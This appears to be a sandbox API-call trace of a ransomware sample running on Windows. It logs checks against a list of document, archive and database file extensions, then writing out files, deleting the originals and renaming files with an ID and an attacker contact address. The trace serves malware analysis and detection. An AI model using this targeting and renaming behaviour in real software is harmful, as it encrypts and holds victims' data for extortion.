lstrlenW (lpString=".pdf") returned 4 [0214.567] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0214.567] lstrlenW (lpString=".xls") returned 4 [0214.567] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0214.567] lstrlenW (lpString=".xlsx") returned 5 [0214.567] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0214.567] lstrlenW (lpString=".ppt") returned 4 [0214.567] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0214.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.567] lstrlenW (lpString=".zip") returned 4 [0214.567] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0214.567] lstrlenW (lpString=".rar") returned 4 [0214.567] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0214.567] lstrlenW (lpString=".bz2") returned 4 [0214.567] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0214.567] lstrlenW (lpString=".7z") returned 3 [0214.567] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0214.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.567] lstrlenW (lpString=".dbf") returned 4 [0214.567] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0214.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.567] lstrlenW (lpString=".1cd") returned 4 [0214.567] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0214.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.567] lstrlenW (lpString=".jpg") returned 4 [0214.567] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0214.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.567] lstrlenW (lpString=".doc") returned 4 [0214.567] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0214.567] lstrlenW (lpString=".docx") returned 5 [0214.567] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0214.567] lstrlenW (lpString=".pdf") returned 4 [0214.567] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0214.567] lstrlenW (lpString=".xls") returned 4 [0214.567] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0214.567] lstrlenW (lpString=".xlsx") returned 5 [0214.567] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0214.567] lstrlenW (lpString=".ppt") returned 4 [0214.567] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0214.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.568] lstrlenW (lpString=".zip") returned 4 [0214.568] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0214.568] lstrlenW (lpString=".rar") returned 4 [0214.568] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0214.568] lstrlenW (lpString=".bz2") returned 4 [0214.568] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0214.568] lstrlenW (lpString=".7z") returned 3 [0214.568] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0214.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.568] lstrlenW (lpString=".dbf") returned 4 [0214.568] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0214.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.568] lstrlenW (lpString=".1cd") returned 4 [0214.568] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0214.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0214.568] lstrlenW (lpString=".jpg") returned 4 [0214.568] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0214.569] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.569] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.569] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.570] GetLastError () returned 0x0 [0214.570] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xae, lpOverlapped=0x0) returned 1 [0214.570] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0214.571] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.571] WriteFile (in: hFile=0x1e4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0214.571] SetEndOfFile (hFile=0x1e4) returned 1 [0214.571] CloseHandle (hObject=0x1e4) returned 1 [0214.571] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.571] SetEndOfFile (hFile=0x1e0) returned 1 [0214.572] CloseHandle (hObject=0x1e0) returned 1 [0214.572] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x26) returned 1 [0214.572] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0214.572] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0214.572] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0214.572] lstrlenW (lpString=".doc") returned 4 [0214.572] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0214.572] lstrlenW (lpString=".docx") returned 5 [0214.572] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0214.572] lstrlenW (lpString=".pdf") returned 4 [0214.573] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0214.573] lstrlenW (lpString=".xls") returned 4 [0214.573] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0214.573] lstrlenW (lpString=".xlsx") returned 5 [0214.573] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0214.573] lstrlenW (lpString=".ppt") returned 4 [0214.573] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0214.573] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0214.573] lstrlenW (lpString=".zip") returned 4 [0214.573] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0214.573] lstrlenW (lpString=".rar") returned 4 [0214.573] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0214.573] lstrlenW (lpString=".bz2") returned 4 [0214.573] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0214.573] lstrlenW (lpString=".7z") returned 3 [0214.573] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0214.573] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0214.573] lstrlenW (lpString=".dbf") returned 4 [0214.573] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0214.573] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0214.573] lstrlenW (lpString=".1cd") returned 4 [0214.573] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0214.573] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0214.573] lstrlenW (lpString=".jpg") returned 4 [0214.573] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0215.474] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.475] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0215.475] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0215.475] lstrlenW (lpString=".doc") returned 4 [0215.475] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.475] lstrlenW (lpString=".docx") returned 5 [0215.475] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1 [0215.475] lstrlenW (lpString=".pdf") returned 4 [0215.475] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.475] lstrlenW (lpString=".xls") returned 4 [0215.475] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.475] lstrlenW (lpString=".xlsx") returned 5 [0215.475] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1 [0215.475] lstrlenW (lpString=".ppt") returned 4 [0215.475] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.475] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0215.475] lstrlenW (lpString=".zip") returned 4 [0215.475] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.475] lstrlenW (lpString=".rar") returned 4 [0215.475] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.475] lstrlenW (lpString=".bz2") returned 4 [0215.475] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.475] lstrlenW (lpString=".7z") returned 3 [0215.475] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.475] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0215.475] lstrlenW (lpString=".dbf") returned 4 [0215.475] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.475] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0215.475] lstrlenW (lpString=".1cd") returned 4 [0215.475] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.475] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0215.475] lstrlenW (lpString=".jpg") returned 4 [0215.475] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.475] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.476] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0215.476] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0215.476] lstrlenW (lpString=".doc") returned 4 [0215.476] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.476] lstrlenW (lpString=".docx") returned 5 [0215.476] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0215.476] lstrlenW (lpString=".pdf") returned 4 [0215.476] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.476] lstrlenW (lpString=".xls") returned 4 [0215.476] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.476] lstrlenW (lpString=".xlsx") returned 5 [0215.476] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0215.476] lstrlenW (lpString=".ppt") returned 4 [0215.476] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.476] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0215.476] lstrlenW (lpString=".zip") returned 4 [0215.476] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.476] lstrlenW (lpString=".rar") returned 4 [0215.476] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.476] lstrlenW (lpString=".bz2") returned 4 [0215.476] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.476] lstrlenW (lpString=".7z") returned 3 [0215.476] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.476] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0215.476] lstrlenW (lpString=".dbf") returned 4 [0215.476] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.476] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0215.476] lstrlenW (lpString=".1cd") returned 4 [0215.476] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.476] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0215.476] lstrlenW (lpString=".jpg") returned 4 [0215.476] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.525] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.525] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75 [0215.525] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75 [0215.525] lstrlenW (lpString=".doc") returned 4 [0215.526] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.526] lstrlenW (lpString=".docx") returned 5 [0215.526] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0215.526] lstrlenW (lpString=".pdf") returned 4 [0215.526] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.526] lstrlenW (lpString=".xls") returned 4 [0215.526] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.526] lstrlenW (lpString=".xlsx") returned 5 [0215.526] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0215.526] lstrlenW (lpString=".ppt") returned 4 [0215.526] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.526] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75 [0215.526] lstrlenW (lpString=".zip") returned 4 [0215.526] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.526] lstrlenW (lpString=".rar") returned 4 [0215.526] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.526] lstrlenW (lpString=".bz2") returned 4 [0215.526] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.526] lstrlenW (lpString=".7z") returned 3 [0215.526] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.526] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75 [0215.526] lstrlenW (lpString=".dbf") returned 4 [0215.526] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.526] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75 [0215.526] lstrlenW (lpString=".1cd") returned 4 [0215.526] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.526] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv") returned 75 [0215.526] lstrlenW (lpString=".jpg") returned 4 [0215.526] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.526] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.526] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79 [0215.526] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79 [0215.526] lstrlenW (lpString=".doc") returned 4 [0215.526] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.526] lstrlenW (lpString=".docx") returned 5 [0215.526] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0215.527] lstrlenW (lpString=".pdf") returned 4 [0215.527] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.527] lstrlenW (lpString=".xls") returned 4 [0215.527] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.527] lstrlenW (lpString=".xlsx") returned 5 [0215.527] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0215.527] lstrlenW (lpString=".ppt") returned 4 [0215.527] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.527] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79 [0215.527] lstrlenW (lpString=".zip") returned 4 [0215.527] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.527] lstrlenW (lpString=".rar") returned 4 [0215.527] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.527] lstrlenW (lpString=".bz2") returned 4 [0215.527] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.527] lstrlenW (lpString=".7z") returned 3 [0215.527] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.527] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79 [0215.527] lstrlenW (lpString=".dbf") returned 4 [0215.527] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.527] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79 [0215.527] lstrlenW (lpString=".1cd") returned 4 [0215.527] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.527] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv") returned 79 [0215.527] lstrlenW (lpString=".jpg") returned 4 [0215.527] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.527] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.527] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82 [0215.527] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82 [0215.527] lstrlenW (lpString=".doc") returned 4 [0215.527] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.527] lstrlenW (lpString=".docx") returned 5 [0215.527] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0215.527] lstrlenW (lpString=".pdf") returned 4 [0215.527] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.527] lstrlenW (lpString=".xls") returned 4 [0215.527] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.527] lstrlenW (lpString=".xlsx") returned 5 [0215.528] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0215.528] lstrlenW (lpString=".ppt") returned 4 [0215.528] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.528] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82 [0215.528] lstrlenW (lpString=".zip") returned 4 [0215.528] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.528] lstrlenW (lpString=".rar") returned 4 [0215.528] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.528] lstrlenW (lpString=".bz2") returned 4 [0215.528] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.528] lstrlenW (lpString=".7z") returned 3 [0215.528] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.528] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82 [0215.528] lstrlenW (lpString=".dbf") returned 4 [0215.528] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.528] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82 [0215.528] lstrlenW (lpString=".1cd") returned 4 [0215.528] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.528] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned 82 [0215.528] lstrlenW (lpString=".jpg") returned 4 [0215.528] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.529] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.529] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86 [0215.529] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86 [0215.529] lstrlenW (lpString=".doc") returned 4 [0215.529] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.529] lstrlenW (lpString=".docx") returned 5 [0215.529] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0215.529] lstrlenW (lpString=".pdf") returned 4 [0215.529] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.529] lstrlenW (lpString=".xls") returned 4 [0215.529] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.529] lstrlenW (lpString=".xlsx") returned 5 [0215.529] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0215.529] lstrlenW (lpString=".ppt") returned 4 [0215.529] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0215.529] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86 [0215.529] lstrlenW (lpString=".zip") returned 4 [0215.529] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0215.529] lstrlenW (lpString=".rar") returned 4 [0215.529] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0215.529] lstrlenW (lpString=".bz2") returned 4 [0215.529] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0215.529] lstrlenW (lpString=".7z") returned 3 [0215.529] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0215.529] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86 [0215.529] lstrlenW (lpString=".dbf") returned 4 [0215.529] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0215.529] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86 [0215.529] lstrlenW (lpString=".1cd") returned 4 [0215.529] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0215.529] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86 [0215.529] lstrlenW (lpString=".jpg") returned 4 [0215.529] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.530] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0215.530] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83 [0215.530] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83 [0215.530] lstrlenW (lpString=".doc") returned 4 [0215.530] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0215.530] lstrlenW (lpString=".docx") returned 5 [0215.530] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0215.530] lstrlenW (lpString=".pdf") returned 4 [0215.530] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0215.530] lstrlenW (lpString=".xls") returned 4 [0215.530] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0215.530] lstrlenW (lpString=".xlsx") returned 5 [0215.530] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0215.530] lstrlenW (lpString=".ppt") returned 4 [0215.530] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 